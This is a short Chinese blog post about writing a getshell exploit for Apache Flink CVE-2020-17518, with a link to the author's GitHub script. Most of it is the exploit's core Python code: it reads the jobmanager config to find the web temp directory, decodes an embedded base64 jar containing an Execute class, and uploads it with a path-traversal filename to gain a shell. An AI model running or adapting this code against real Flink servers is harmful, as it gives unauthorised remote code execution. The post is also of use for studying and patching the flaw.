利用Apache Flink CVE-2020-17518 getshell

踩坑

首先在获取web目录的时候,如下,由于返回的json中每一个子json的都是一样的key和value,(应该是我太辣🐔了)无法正确获取到web.tmpdir的以/tmp/flink-web开头的那个路径,感谢@鼎爷和@王总给我支招使用循环的方式。

[
......省略部分
{
"key": "jobmanager.memory.process.size",
"value": "1600m"
},
{
"key": "web.tmpdir",
"value": "/tmp/flink-web-c177b1fe-2fab-40a5-b1bd-01bdc23d2cbd"
},
{
"key": "jobmanager.rpc.port",
"value": "6123"
}
...... 省略部分
]

  


代码很捞,地址在:
https://github.com/rakjong/Flink-CVE-2020-17518-getshell/blob/main/flink-getshell.py

源码

核心的部分主要是获取web目录和上传的内容:

r1 = requests.get(jobmanager_config_dir,verify=False)
    #data = json.loads(req.text)[2]['value']
data = json.loads(r1.text) 
for i in data:
    #print(i['key'])
    if i['key'] == "web.tmpdir":
        flink_webdir = i['value']
        print("webdir:%s" % flink_webdir)
file_content = base64.b64decode('UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1ua/glY5FvJ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load/new1.jar' % flink_webdir, cStringIO.StringIO(file_content), 'application/octet-stream')}
r2 = requests.post(upload_jar_url, files=files, timeout=30, verify=False)

 

getshell


 

LINK

https://nosec.org/home/detail/4639.html

posted @ 2021-01-11 11:03  2rSh0u  阅读(739)  评论(0编辑  收藏  举报